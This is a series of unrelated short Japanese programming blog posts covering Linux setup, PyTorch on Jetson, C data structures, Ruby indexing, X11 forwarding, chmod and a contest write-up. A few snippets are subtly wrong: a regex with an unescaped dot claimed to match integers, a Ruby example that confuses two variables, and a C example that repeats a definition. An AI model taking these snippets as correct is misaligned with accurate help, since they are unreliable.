fedoraでmidi再生(VLC)

自分用

# VLCのインストール

```shell
sudo yum install -y vlc-plugin-fluidsynth
```

`sudo yum install -y vlc` だとpluginがインストールされないためNG


# サウンドフォントのインストール

以下など

- https://keymusician01.s3.amazonaws.com/FluidR3_GM.zip

- https://musical-artifacts.com/artifacts/3567/Chorium_rev.A_ALBTWO.sf2

# VLCの設定

Tools -> Preferences
-> Input/Codecs
-> Show settings (All)
-> Input/Codecs -> FluidSynth
  -> SoundFont file にダウンロードした `.sf2`のパスを設定
ノンプラグラマーがJetson Orin NanoにPytorchを入れてみた。

JetPack6.0を入れます。
パソコンにUbuntu20.04をインストールしてSDK ManagerもUbuntuにインストールします。
Jetson Orin NanoとつなげてOSを選択します。
2024年11月、現在ではPytorchが対応しているCUDAバージョンは、12.4までですので注意。
なので最新のJetPack6.1ですが、pytorchの関係上JetPack6.0をインストールします。
参考サイト
https://docs.nvidia.com/deeplearning/frameworks/install-pytorch-jetson-platform/index.html

```bash
nvidia-smi
```

入っているドライバーは、CUDA12.2に対応していることがわかった。

なのでCUDA12.2をインストール

対応しているtoolkit(GPUを利用した並列演算ライブラリ)をインストールする。

https://developer.nvidia.com/cuda-toolkit-archive

あるいは、自動でJetPackごとインストールするtoolkit以外にもTensorRT,cuDNN,OpenCVライブラリなども一緒にインストールされる。

```
sudo apt install nvidia-jetpack
```

次にJetPackをインストール

pytorch公式サイト

https://pytorch.org/

toolkitガイド

https://docs.nvidia.com/cuda/cuda-installation-guide-linux/

インストール後に確認。cuda12.2は、あることがわかる。しかしPythorch公式ではCuda12.2は対応していない。

```
jetson@ubuntu:~$ nvcc -V
nvcc: NVIDIA (R) Cuda compiler driver
Copyright (c) 2005-2023 NVIDIA Corporation
Built on Tue_Aug_15_22:08:11_PDT_2023
Cuda compilation tools, release 12.2, V12.2.140
Build cuda_12.2.r12.2/compiler.33191640_0
```

pytorchのバージョン

https://pytorch.org/get-started/previous-versions/

pytorchのレポジトリ

https://github.com/pytorch/pytorch#from-source


pytochのレポジトリからビルドはハードルが高いのでビルド済みのPythonファイルが用意されていました。

以下は、JetPack 6.0 (L4T R36.2 / R36.3) + CUDA 12.2の場合。

```bash
wget https://nvidia.box.com/shared/static/mp164asf3sceb570wvjsrezk1p4ftj8t.whl -O torch-2.3.0-cp310-cp310-linux_aarch64.whl

sudo apt-get install python3-pip libopenblas-base libopenmpi-dev libomp-dev

pip3 install 'Cython<3'

pip3 install nump torch-2.3.0-cp310-cp310-linux_aarch64.whl

apt-get install libjpeg-dev zlib1g-dev libpython3-dev libopenblas-dev libavcodec-dev libavformat-dev libswscale-dev
```

sudo apt-get install libjpeg-dev zlib1g-dev libpython3-dev libopenblas-dev libavcodec-dev libavformat-dev libswscale-dev

PyTorch v2.3 - torchvision v0.18.0の場合

```
git clone --branch release/0.18 https://github.com/pytorch/vision torchvision

cd torchvision

export BUILD_VERSION=0.18.0
	
python3 setup.py install --user

pip install 'pillow<7'
```

インストールの確認

pytorch確認

```
>>> python
>>> import torch
>>> print(torch.__version__)
2.3.0

>>> print('CUDA available: ' + str(torch.cuda.is_available()))
CUDA available: True

>>> print('cuDNN version: ' + str(torch.backends.cudnn.version()))
cuDNN version: 8904

>>> a = torch.cuda.FloatTensor(2).zero_()
>>> print('Tensor a = ' + str(a))
Tensor a = tensor([0., 0.], device='cuda:0')
>>> b = torch.randn(2).cuda()

>>> print('Tensor b = ' + str(b))
Tensor b = tensor([ 0.5455, -0.8627], device='cuda:0')

>>> c = a + b
>>> print('Tensor c = e' + str(c))
Tensor c = tensor([ 0.5455, -0.8627], device='cuda:0')
```
torchvision確認

```
>>> python
>>> import torchvision
>>> print(torchvision.__version__)
0.18.0
```
tensorRT変換時のエラー対処方法

PyTorchとTorchVisionの互換性のあるバージョンに合わせる。

```
sudo apt-get install python3-pip libopenblas-dev libopenmpi-dev libomp-dev
pip3 install torch torchvision --extra-index-url https://download.pytorch.org/whl/cu122
```

参考サイト

https://forums.developer.nvidia.com/t/pytorch-for-jetson/72048
Linuxを基本からまとめてみた【Linux入門】

## Linuxの概要

- 誰でも自由に無償に利用できるOS
- 数多くのITシステムで採用されている

## Linuxのシステム

```
『ユーザー』←→『シェル』←→『カーネル』 
```

## rootユーザーと一般ユーザー

|rootユーザー|一般ユーザー|     
| --- | --- | 
|Linuxの『システム管理者』|rootユーザー以外| 
|自由に操作ができる|一部制限がある| 

## ディレクトリ構成

|ディレクトリ|用途|  
| --- | --- |
|/home|一般ユーザー用ホームディレクトリ|
|/root|rootユーザー用ホームディレクトリ|
|/etc|設定ファイル|

## Linuxの基本的なコマンド

#### コマンド
- ユーザーがシェルを通じて、カーネルに出す指示

#### プロンプト
- コマンドを入力する場所に表示される文字列
- ユーザー名やコンピュータ名、現在のディレクトリが表示される

#### コマンド名
- 実行したい操作の名前

```             
use@localhost:~$ ls(コマンド名) -1 /etc
```

#### オプション
- コマンドの動作を変更するためのもの
- 『-』で始まることが多い
```             
use@localhost:~$ ls -1(オプション) /etc
```

## 引数
- コマンドの実行時に渡す追加の情報や操作対象の値など
```             
use@localhost:~$ ls -1 /etc(引数)
```

## 基本的なコマンド

|コマンド名|用途|  
| --- | --- |
|ls|指定したディレクトリの中にあるファイル・ディレクトリを表示する|
|cat|指定したファイルの中身を表示する|
|cd|指定したディレクトリに移動する|
|grep|指定したファイルの中からキーワードと一致する行だけを表示する|
|man|指定したコマンドなどのマニュアルを表示する|

## 参考サイト
[新・Linux入門編1(LinuC対策版): Linuxを学習しよう](https://paiza.jp/works/linux/new-primer/linux-new-primer-1)
【Slack】人にたくさんの絵文字を送信する方法

## はじめに
今回はこちらの記事を参考に、ワークスペースにある絵文字を取得し人に送信する方法を書かせていただきました。

https://qiita.com/senth/items/bd506a8f14d6b18a3390

senthさんありがとうございます🙇

## ワークスペースの絵文字を一覧取得する
ワークスペースの絵文字を一覧取得する方法については前述の記事をご覧ください。  

## emoji一覧テキストファイルを生成する
:::note
Nodejsが必要です
:::
fsをインストールしておきます。
```zsh
npm init
npm i fs
```
そうしたら以下のコードを`script.js`を作成して貼り付けてください。
```js
const fs = require('fs');

const emojiList = JSON.parse(fs.readFileSync('emojis.json', 'utf8'));

const rawNames = emojiList
    .filter((emoji) => emoji.is_alias === 0)
    .map((emoji) => `:${emoji.name}:`);

const lines = [];
for (let i = 0; i < rawNames.length; i += 100) {
    lines.push(rawNames.slice(i, i + 100).join(''));
}

fs.writeFileSync('emoji_names.txt', lines.join('\n'), 'utf8');

console.log('emoji_names.txt を生成しました');
```
絵文字100個で改行するようにしていますが、変更しても問題ありません。
実行すればemoji_names.txtが生成されるはずです。
```zsh
node script.js
> emoji_names.txt を生成しました
```
ファイルの中身は以下のようになっています。
```txt
:hoge::fuga::nya::test:......
```
テキストをSlackにコピペすることで簡単に絵文字をたくさん送信することができます。
あまりたくさん送信すると迷惑になってしまうのでやめましょう。
C言語 記述例 Node

1.単方向連結リスト
```c
#include <stdio.h>
#include <stdlib.h>

// Nodeの定義
typedef struct Node {
    int data;             // データ部分
    struct Node* next;    // 次のノードへのポインタ
} Node;
```
利用例
```c
int main() {
    // メモリ確保
    Node* head = (Node*)malloc(sizeof(Node));
    if (!head) return 1;

    head->data = 10;
    head->next = NULL;

    printf("データ: %d\n", head->data);

    free(head);
    return 0;
}
```

2.双方向連結リスト
```c
typedef struct Node {
    int data;
    struct Node* next;
    struct Node* prev;
} Node;
```
利用例
```c
typedef struct Node {
    int data;
    struct Node* next;
    struct Node* prev;
} Node;
```
3.二分木のNode
```c
typedef struct Node {
    int value;
    struct Node* left;
    struct Node* right;
} Node;
```
二分木のNode関連定義
```c
// ノード作成関数
Node* create_node(int value) {
    Node* node = (Node*)malloc(sizeof(Node));
    if (!node) return NULL;

    node->value = value;
    node->left = NULL;
    node->right = NULL;
    return node;
}

// メモリの開放
void free_tree(Node* root) {
    if (root == NULL) return;
    free_tree(root->left);
    free_tree(root->right);
    free(root);
}

// 値の挿入
Node* insert(Node* root, int value) {
    if (root == NULL) {
        return create_node(value);
    }

    if (value < root->value) {
        root->left = insert(root->left, value);
    } else if (value > root->value) {
        root->right = insert(root->right, value);
    }
    return root; // 重複は無視
}

// 値の探索
int search(Node* root, int value) {
    if (root == NULL) return 0;

    if (value == root->value) return 1;
    else if (value < root->value) return search(root->left, value);
    else return search(root->right, value);
}

// 中間順走査
void inorder(Node* root) {
    if (root == NULL) return;

    inorder(root->left);
    printf("%d ", root->value);
    inorder(root->right);
}
```
利用例
```c
int main() {
    Node* root = NULL;

    // ノードを挿入
    root = insert(root, 5);
    insert(root, 3);
    insert(root, 7);
    insert(root, 2);
    insert(root, 4);

    // 中間順走査（出力: 2 3 4 5 7）
    printf("In-order traversal: ");
    inorder(root);
    printf("\n");

    // 検索テスト
    printf("Search 4: %s\n", search(root, 4) ? "Found" : "Not found");
    printf("Search 9: %s\n", search(root, 9) ? "Found" : "Not found");

    // メモリ解放
    free_tree(root);
    
    return 0;
}
```
WSLでVSCodeを使う

#### 1.VSCodeにRemote Development 拡張機能パックをインストールする

https://marketplace.visualstudio.com/items?itemName=ms-vscode-remote.vscode-remote-extensionpack

#### 2. Linux ディストリビューションを更新する

```bash
# VSCodeサーバーの起動に必要とされるライブラリが不足していることがあるので以下を実行してパッケージリストを更新する
sudo apt-get update

# wget：Web サーバーからコンテンツを取得するのに使用する
# ca-certificates：SSL ベースのアプリケーションで SSL 接続の信頼性を確認するのを許可するために使用する
sudo apt-get install wget ca-certificates
```

#### 3.WSLからVSCodeを開く

```bash
code .
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/213285/8a4ccb38-0268-49b3-91b1-9c727462aa9b.png)

#### 参考
https://learn.microsoft.com/ja-jp/windows/wsl/tutorials/wsl-vscode
Magentic-UI vs Gemini Live API：エージェント実行基盤の設計比較（人間中心 vs コード駆動）

## はじめに
Microsoft Research発の「Magentic-UI」と、Google Geminiの「Live API ストリーミングセッション」は、いずれもマルチステップのツール実行を制御するエージェント基盤ですが、設計思想や適したユースケースが大きく異なります。

本記事では、実際に両方を触って比較した視点から、それぞれの特徴や活用シーンを整理し、どちらをどのような用途で使い分けるべきかを考察します。

## 比較対象の概要
| 項目   | Magentic-UI                            | Gemini Live API                                      |
| ---- | -------------------------------------- | ---------------------------------------------------- |
| 開発元  | Microsoft Research                     | Google DeepMind / Vertex AI                          |
| 主な目的 | 人間中心のUIを持つエージェント実行環境                   | LLM + ツールのコードレベル統合                                   |
| 主要技術 | AutoGen / Plan Editor / Docker Sandbox | LangGraph / Function Calling / Python Async          |
| 提供形態 | Webアプリ + noVNC + CLI（`magentic ui`）    | Python SDK (`genai`, `types.LiveClientToolResponse`) |

## こんな使い分けがおすすめ
| シーン                      | 向いている選択肢                             |
| ------------------------ | ------------------------------------ |
| 提案稟議、レビュー支援、意思決定の補助      | ✅ **Magentic-UI**：手動承認/共同プランニング      |
| プロトタイピング、ETLやデータ取得の自動化   | ✅ **Gemini Live API**：コードで完結、柔軟      |
| 社内ポータルへの生成AI組み込み         | ✅ **Magentic-UI**（noVNC UI 付き）       |
| サーバレス構成で軽量展開（Cloud Run等） | ✅ **Gemini + LangGraph + Streamlit** |

## 補足：実際の構成イメージ

### Magentic-UI

- **クライアント**：`magentic-ui`（`pip install`で導入可能）
- **UI構成**：チャット + noVNC + ブラウザ構成  
  ↳ チャットとWebブラウザを並列表示、操作性高い
- **安全性**：Docker内でコード・ブラウザを実行、`ActionGuard`でユーザー承認制御あり
- **バックエンド**：Azure OpenAI / AutoGen / WebSurfer / FileSurfer

### Gemini Live API

- **クライアント**：genaiライブラリ＋async stream
- **処理構成**：
```
async for msg in stream.receive():
    if msg.text:
        print(msg.text)
    elif msg.tool_call:
        # ツール呼び出しに応答
    elif msg.server_content.model_turn.parts:
        # コードや結果を可視化

```
- **LangGraphと組み合わせてマルチエージェント設計も可能**

### まとめ

Magentic-UIとGemini Live APIは、「どちらが上か」ではなく「どの文脈で最も価値を発揮するか」で選ぶべきです。

- **Magentic-UI**：人とAIの協調作業に強い。安全性と透明性が鍵。
- **Gemini Live API**：スクリプトベースの自動化やPoCに最適。LangGraphと組み合わせると汎用性◎。

自分の用途に合わせて、戦略的に選びましょう！

- Magentic-UIとGemini Live APIは、「どちらが上か」ではなく「どの文脈で最も価値を発揮するか」で選ぶべきです。

- Magentic-UI：人とAIの協調作業に強い。安全性と透明性が鍵。

- Gemini Live API：スクリプトベースの自動化やPoCに最適。LangGraphと組み合わせると汎用性◎。

自分の用途に合わせて、戦略的に選びましょう！

### 参考リンク
- [Magentic-UI GitHub](https://github.com/microsoft/magentic-ui)
- [Gemini API + LangGraph（公式）](https://github.com/langchain-ai/langgraph)
- [AutoGen 公式](https://github.com/microsoft/autogen)
C言語 改行付きで文字列を出力する関数

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// 改行付きで文字列を出力する関数
void print_with_line_breaks(const char* input, size_t cut_len) {
    size_t len = strlen(input);

    for (size_t i = 0; i < len; i += cut_len) {
        size_t remaining = len - i;
        size_t to_copy = (remaining > cut_len) ? cut_len : remaining;

        char* buffer = (char*)malloc(to_copy + 1);
        if (buffer == NULL) {
            fprintf(stderr, "Memory allocation failed\n");
            return;
        }

        strncpy(buffer, input + i, to_copy);
        buffer[to_copy] = '\0';  // 終端文字を明示的に追加

        printf("%s\n", buffer);
        free(buffer);
    }
}

int main(void) {
    size_t max_len, cut_len;

    // ユーザーから最大入力文字数と切り出し文字数を受け取る
    printf("最大入力文字数を指定してください: ");
    scanf("%zu", &max_len);

    printf("何文字ごとに改行しますか: ");
    scanf("%zu", &cut_len);

    getchar();  // 残った改行を読み飛ばす

    char* input = (char*)malloc(max_len + 1);
    if (input == NULL) {
        fprintf(stderr, "Memory allocation failed\n");
        return 1;
    }

    printf("文字列を入力してください（最大 %zu 文字）:\n", max_len);
    fgets(input, max_len + 1, stdin);

    // 入力末尾の改行を削除（必要に応じて）
    input[strcspn(input, "\n")] = '\0';

    // 出力処理
    print_with_line_breaks(input, cut_len);

    free(input);
    return 0;
}

```
Geminiでネコと遊ぶ魔法少女を描いてみた。

# 概要

Geminiでネコと遊ぶ魔法少女を描いてみました。

# 実装

プロンプトと実行結果は以下の通りです。

```
聖なるネコと遊ぶ魔法少女を描いてください。
```

![聖なるネコと遊ぶ魔法少女_20250608.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3192024/47d0a048-e499-451a-972c-bc4fb00fca58.png)

# まとめ

可愛いかも。何かの役に立てばと。
学習4日目

# 今日学んだこと
・has_many関連付けを行った時に使えるメソッド
・includes

# 内容
(例)hogeモデルに、下記を記述。
```
has_many :fuga
```

この場合、hogeモデルのインスタンスに対して、「fuga_ids」と記述すると、紐づけられたfugaのidを全て取得することができる。
このidから、対応するfugaの情報を取得することができる。

しかし、この記述のみだと、fugaに付随する情報をビューで表示するために、fugaのレコード数のクエリが実行されるため、データ数が膨大になると処理が遅くなってしまう。

そこで、「◯◯.includes(:キー1, :キー2, ...)」のように記述し、付随する情報をまとめて取得する。

# 感想
N+1問題は未だによく理解できていないので、調べて復習する。
多対多の関係性の際に「◯◯_ids」はよく使いそうなので、覚えておく。
[Linux] X_ネットワーク経由の利用_xhost, xauth, DISPLAY,  ssh

# 利用手順

| ステップ | 実行場所     | コマンド例                            | 説明                             |
| ---- | -------- | -------------------------------- | ------------------------------ |
| 1    | ホスト（表示側） | `xhost +192.168.0.2`             | リモートホストにX接続を許可                 |
| 2    | リモートホスト  | `export DISPLAY=192.168.0.1:0` | X出力先をホストに指定（ホストのIP + ディスプレイ番号） |
| 3    | リモートホスト  | `xclock &`                       | GUIアプリケーションを起動                 |

# 利用手順
## 1-a. ホスト（表示側）で `xhost` による接続許可

```bash:192.168.0.1(ホスト)
# 例: 192.168.0.2 がリモートホスト
$ xhost +192.168.0.2
```

* **目的**: 指定したリモートホストに、X サーバ（ローカルの画面）への接続を許可する
* `+`のあとに `ホスト名` または`IPアドレス`を指定 (`+`は省略可)
* セキュリティ上、可能ならば限定的に行う（`xhost +` は誰でも接続できて危険）

## 1-b. ホスト（表示側）で`xauth`による接続許可（セキュアな方法）

```bash:192.168.0.1(ホスト)
# 現在の X 認証キーを確認
$ xauth list

# 例: UNIX:0  MIT-MAGIC-COOKIE-1  abcdef1234567890...

# ホストの MIT-MAGIC-COOKIE をファイルにエクスポート
$ xauth extract /tmp/xauthkey :0

# このファイルをリモートホストにコピー（scpなど）
$ scp /tmp/xauthkey user@192.168.0.2:/tmp/
```

* **目的**: より安全にX接続を認証ベースで制御する
* `xauth`は`MIT-MAGIC-COOKIE-1`認証方式を用いて、許可されたクライアントのみ接続を許可
* `xhost`のようなホスト単位での全開放を避けられる

## 2. リモートホストで `DISPLAY` 環境変数を設定

```bash:192.168.0.2(リモートホスト)
# 例: 192.168.0.1 がホスト（表示側）
$ export DISPLAY=192.168.0.1:0
```

* **目的**: X アプリケーションが「どのディスプレイ（Xサーバ）」に出力すべきかを指定する
* `192.168.0.1` はホスト（表示側）のIPアドレス
* `:0`: 最初のディスプレイ番号
* `:1`: 2番目のディスプレイ番号

## 3. リモートホストでXアプリケーションを起動

```bash:192.168.0.2(リモートホスト)
$ xclock &
```

* **目的**: アプリケーションのGUIを、ローカルの画面に表示
* `DISPLAY` に設定されたアドレス宛てに描画要求が送られる


## 補足: ssh経由でより安全に行う方法（推奨）

```bash
# ホストから ssh -X でログイン（-Yは信頼できるX転送）
$ ssh -X user@192.168.0.2

# リモート側からGUIアプリを起動
$ xclock &
```

* `-X` / `-Y` オプションで **SSHが自動的にDISPLAYを設定** してくれる
* `xhost` 不要、安全性が高い


# Ping-t
- [4822_xhost, DISPLAY](https://mondai.ping-t.com/question_subjects/32/question_sessions/33557476/progressing_questions/513921550?result=true)
- [4823_xhost](https://mondai.ping-t.com/question_subjects/32/question_sessions/33693535/progressing_questions/515931295?result=true)
- [4824_xhost +, xhost](https://mondai.ping-t.com/question_subjects/32/question_sessions/33603258/progressing_questions/514610084)
- [5100_DISPLAY](https://mondai.ping-t.com/question_subjects/32/question_sessions/33557476/progressing_questions/513921548?result=true)
- [38901_DISPLAY](https://mondai.ping-t.com/question_subjects/32/question_sessions/33693535/progressing_questions/515931291?result=true)
ruby 文字列・配列におけるindexアクセス・置換

rubyで、文字列と配列両方で同じように利用できるindexアクセス、置換についての整理です。（これって文字列でもできた気がするけど、どうだっけ、、？）と思いドキュメントを見にいくという機会が多かったので、ここで簡単に整理してしまおうというモチベーションです

# 共通
## indexアクセス

```ruby
# Array
arr = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
pp arr[3] # => 3
pp arr[1..3] # => [1, 2, 3]
# 注: 配列外にアクセスするとnilが返る（エラーにならないので注意）
pp arr[20] # => nil
# マイナスアクセス
pp arr[-2] # => 8
pp arr[-5..-3] # => [5, 6, 7]
# 一部範囲内でもnilになる
pp arr[-100..-3] # => nil 

# String
str1 = '0123456789'
str2 = 'abcdefg'
pp str1[3] # => '3'
pp str2[2] # => 'c'
pp str1[1..3] # => "123"
pp str2[2..5] # => "cdef"
# 注: 同じく範囲外だとnilが返る
pp str1[14] # => nil
# マイナスアクセス
pp str1[-1] # => '9'
pp str1[-3..-1] # => '789'
pp str1[-100..-1] # => nil
```

## 置換
```ruby
# Array
arr1 = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
arr2 = [111, 222, 333]
arr1[1..3] = arr2
pp arr1 # => [0, 111, 222, 333, 4, 5, 6, 7, 8, 9]
# 注意: 一つの要素を配列で置き換えると、二重配列になる
arr1 = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
arr2 = [111, 222, 333]
arr[1] = arr2
pp arr1 # => [0, [111, 222, 333], 2, 3, 4, 5, 6, 7, 8, 9]
# 注意: 配列外に追加もでき、存在しない部分はnilでうめられる
arr[15] = 100
pp arr # => [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, nil, nil, nil, nil, nil, 100]

# String
str1 = 'abcdefg'
str2 = 'BCD'
str1[1..3] = str2
pp str1
# １文字選択の場合
str1 = 'abcdefg'
str2 = 'BCD'
str1[1] = str2
pp str1 # => "aBCDcdefg"
# 注意: 配列外には追加できず、IndexErrorが変える
str1[14] = 'Z' # => in `[]=': index 14 out of string (IndexError)
```
【2025年06月版】メモリの available はあるんだけど buff/cache も空ける方法のメモ

# はじめに

本来、OSにメモリの管理は任せるべきで介入する必要が殆どないと思う
けど、buff/cacheをできるかで空ける方法のメモ

たとえば、zabbixの監視のtriggerが古くて available を見てくれないときとかの一時的対処に

# 方法

```terminal
$ sudo sync
$ sudo sysctl -w vm.drop_caches=3
```

# サンプル

Ubuntuでのサンプルです。
```terminal
$ free -h
               total        used        free      shared  buff/cache   available
Mem:            11Gi       1.5Gi       242Mi        42Mi       9.9Gi       9.8Gi
Swap:          3.8Gi       148Mi       3.7Gi
$ sudo sync
$ sudo sysctl -w vm.drop_caches=3
vm.drop_caches = 3
$ free -h
               total        used        free      shared  buff/cache   available
Mem:            11Gi       1.5Gi       9.8Gi        42Mi       395Mi       9.9Gi
Swap:          3.8Gi       148Mi       3.7Gi
```

# 解説

ページキャッシュ、dentry、inodeキャッシュの開放をコマンドで指示します。
これで、buff/cache は開放されます。

:::note warn
### キャッシュ解放の注意点
- パフォーマンスの低下: キャッシュをクリアすると、システムやアプリケーションが再度ファイルにアクセスする際にディスクから読み込み直す必要があり、一時的に動作が遅くなる可能性があります。
- 一時的な効果: キャッシュはシステムを使っているうちに再び溜まっていきます。恒久的な対策ではありません。
:::

drop_cachesの値
- 1: ページキャッシュのみを解放します。
- 2: dentry（ディレクトリ情報）とinode（ファイル情報）のキャッシュを解放します。
- 3: ページキャッシュ、dentry、inodeのすべてを解放します。 一般的には3が使われます。

# さいごに

かんたんでしたね
チャットbotお試し用アプリ開発_5日目

# 目次

・本日の成果・考え
・最後に

### 本日の成果
クラス設計書の続きを行いました。
まず、前回考えたファイル構造の修正を行います。
```
src/
　├app/
　│ 　　
　│ 　　├Main
　│ 　　├logger/
　│ 　　│ 　├LoggerDto
　│ 　　│ 　└LoggerOutput
　│ 　　│ 　└LoggerExcecutor 
　│ 　　│ 　└MessageCreate 
　│ 　　│ 
　│ 　　├window/
　│ 　　│ 　├WindowDto
　│ 　　│ 　├WindowView
　│ 　　│ 　└WindowLauncher
　│ 　　│ 
　│　　 ├config/
　│ 　　　　├SettingLoader
　│　　　　 └AppSettingDto
　│ 　　　 
　└Util/
　　　└.properties

```

内容としては以下です。

* ログ出力処理の実行クラスの追加：LoggerExcecutor
* メッセージ生成クラスの追加：MessageCreate
*アプリ起動用クラスの追加：Main

:::note info
ログ主力処理の設計書を作成する時に、引数で渡すメッセージの内容は？
となって、メッセージ生成処理を忘れているのに気づきました。
また、アプリの起動用のMainクラスを忘れているのはちょっと笑えました。
どこで実行するんだよ！となりましたね。
:::

では、作成したクラス設計書です。

#### 設定ファイル読込

![スクリーンショット 2025-06-08 8.41.09.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3338426/9f6a5a5d-bd97-4613-a509-bfc224a445d6.png)

#### ログ出力

![スクリーンショット 2025-06-08 8.41.33.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3338426/e7c7e486-5114-4a16-a903-7ec05a531141.png)

#### ログ主力実行

![スクリーンショット 2025-06-08 8.42.02.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3338426/12465019-8e00-4597-9173-4983d03780b6.png)

#### ウィンドウ表示

![スクリーンショット 2025-06-08 8.42.28.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3338426/07fc76e9-f10d-4c38-9617-bd19e2e83908.png)

#### ウィンドウ表示実行

![スクリーンショット 2025-06-08 8.43.00.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3338426/464a68e6-82a4-43d0-bade-118101efddd2.png)

::: note info
以下の点の反省点に気づきました。
・命名規則を決めていないので、メソッドの名前を決めるのに苦労した。
・各処理結果の確認を考慮していなかった。
※各処理の内容にしか注目していなかったので、デバックの観点が抜けていた。


:::

合わせて、クラス図の修正を行いました。
内容は
・メッセージ生成処理クラスの追加
・アプリ実行クラスの属性の追加

![スクリーンショット 2025-06-08 8.54.00.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3338426/a7700d00-88dd-497d-b877-53c884e5a76a.png)

::: note info
各処理の実行をすべてアプリ実行クラスで行うので、その引数用のフィールドを用意する必要があると考えました。
最初は、ローカル変数で良いかなと考えたのですが、「設定ファイルパス」などは、フィールド変数かつ定数として扱う方が、改修が入った際に定数の変更のみで済むかなと考えました。
:::

### 最後に
前回はDtoのみなので、クラス内コンストラクタの呼び出し方などのクラス内の考慮で済みましたが、今回は処理とその呼び出し処理との関連を考える必要がありました。
結果として、漏れている箇所に気づくことがあり学びとなりました。
自身の思考の癖を可能な限りここに残すことで、次は最初から考慮できるようになりたいものです。
正規表現で数値かを判定

# 正の整数かを判定する正規表現
`^[0-9]+$`
マッチする文字列：12345
マッチしない文字列：12345円、12.345

# 小数点を含む正の整数かを判定する正規表現
`^\d+.\d+$`
マッチする文字列：12345、12.345
マッチしない文字列：$12.345

以上です。
Linuxのパーミッション

### パーミッションについて
- ファイルやディレクトリに対して「誰がどの操作をできるか」を制御する仕組み
- `ls -l`でパーミッションを確認できる
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4077009/b5c57a3e-159c-4dc0-a419-176bef968665.png)


### `chmod` コマンド

- ファイルやディレクトリのパーミッション（権限）を変更するために使用されるコマンド
- `chmod` は "change mode" の略

#### 基本構文

```bash
chmod [オプション] モード ファイル名
```

*   **オプション**: パーミッション変更の動作を制御するフラグ
*   **モード**: パーミッションの変更方法を指定（シンボルモードまたは数値モード）
*   **ファイル名**: パーミッションを変更する対象のファイルまたはディレクトリの名前

#### 主なオプション

*   `-R`, `--recursive`: ディレクトリとその中のすべてのファイルおよびサブディレクトリに対して再帰的に変更を適用
*   `-v`, `--verbose`: 変更された各ファイルについて診断メッセージを表示
*   `-c`, `--changes`: 実際に変更が行われたファイルについてのみ診断メッセージを表示
--- 

### シンボルモード

シンボルモードは、パーミッションを文字で表現し、変更する際に使用

#### パーミッションの種類

*   `r`: 読み取り (read)
*   `w`: 書き込み (write)
*   `x`: 実行 (execute)

#### 対象

*   `u`: ユーザー (user)
*   `g`: グループ (group)
*   `o`: その他 (others)
*   `a`: すべて (all)

#### 操作

*   `+`: パーミッションを追加
*   `-`: パーミッションを削除
*   `=`: パーミッションを特定の値に設定

#### 例

*   `chmod u+x file`: ファイルの所有者に実行権限を追加
*   `chmod g-w file`: ファイルのグループから書き込み権限を削除
*   `chmod o=r file`: その他のユーザーに読み取り権限のみを設定
*   `chmod a=rw file`: すべてのユーザーに読み取りと書き込み権限を設定

### 数値モード

数値モードは、パーミッションを8進数で表現し、設定する際に使用

#### 数値とパーミッションの対応

*   `4`: 読み取り (r)
*   `2`: 書き込み (w)
*   `1`: 実行 (x)
*   `0`: 権限なし

#### 表現

各対象（ユーザー、グループ、その他）に対して、それぞれの権限の数値を合計

*   `7`: 読み取り + 書き込み + 実行 (4 + 2 + 1)
*   `6`: 読み取り + 書き込み (4 + 2)
*   `5`: 読み取り + 実行 (4 + 1)
*   `4`: 読み取りのみ
*   `3`: 書き込み + 実行 (2 + 1)
*   `2`: 書き込みのみ
*   `1`: 実行のみ
*   `0`: 権限なし

#### 例

*   `chmod 755 file`: ファイルの所有者にすべての権限、グループとその他に読み取りと実行権限を設定
*   `chmod 644 file`: ファイルの所有者に読み取りと書き込み権限、グループとその他に読み取り権限を設定
*   `chmod 777 file`: すべてのユーザーにすべての権限を設定

--- 

#### 使用例

1.  **シンボルモードでの使用例**

    *   ファイルの所有者（ユーザー）に実行権限を追加する:

        ```bash
        chmod u+x file.txt
        ```

    *   グループから書き込み権限を削除する:

        ```bash
        chmod g-w file.txt
        ```

    *   その他のユーザーに読み取り専用権限を設定する:

        ```bash
        chmod o=r file.txt
        ```

    *   すべてのユーザーに読み取りと書き込み権限を設定する:

        ```bash
        chmod a=rw file.txt
        ```

2.  **数値モードでの使用例**

    *   ファイルに 755 のパーミッションを設定する（所有者はすべての権限、グループとその他は読み取りと実行権限）:

        ```bash
        chmod 755 file.txt
        ```

    *   ファイルに 644 のパーミッションを設定する（所有者は読み取りと書き込み権限、グループとその他は読み取り権限）:

        ```bash
        chmod 644 file.txt
        ```

    *   ディレクトリに 777 のパーミッションを設定する（すべてのユーザーにすべての権限）:

        ```bash
        chmod 777 directory
        ```

3.  **再帰的な変更**

    *   ディレクトリとそのすべての内容に対してパーミッションを再帰的に変更する:

        ```bash
        chmod -R 755 directory
        ```
ABC409バーチャル参加

## はじめに
今回は体調が悪いということで、翌日朝にバーチャル参加しました。
最近は体調を崩す方が多いので、お互いに気をつけましょう。

今回はA問題とB問題の2問を解きました。

## A - Conflict

[A - Conflict](https://atcoder.jp/contests/abc409/tasks/abc409_a)

$T_i$と$A_i$が共に'o'の項目がある時にYes、ない場合はNoを出力する問題です。

双方が'x'の場合を考えず$T_i$と$A_i$が同じ場合を判定してしまい、1回WA。

```cpp:A.cpp
#include <bits/stdc++.h>
using namespace std;

int main() {
  int N;
  string T, A;
  cin >> N >> T >> A;
  bool wants = false;
  for (int i = 0; i < N; i++) {
    if (T[i] == 'o' && A[i] == 'o') wants = true;
  }
  if (wants) cout << "Yes" << endl;
  else cout << "No" << endl;
  return 0;
}
```

## B - Citation

[B - Citation](https://atcoder.jp/contests/abc409/tasks/abc409_b)

問題文の読み解きに間違えて、WAした後に問題文が求めている内容と異なることに気付きました。
全部作り直してどうにかAC。

計算量は$O(N^2)$ですが、$N$の上限は100なので余裕で間に合います。
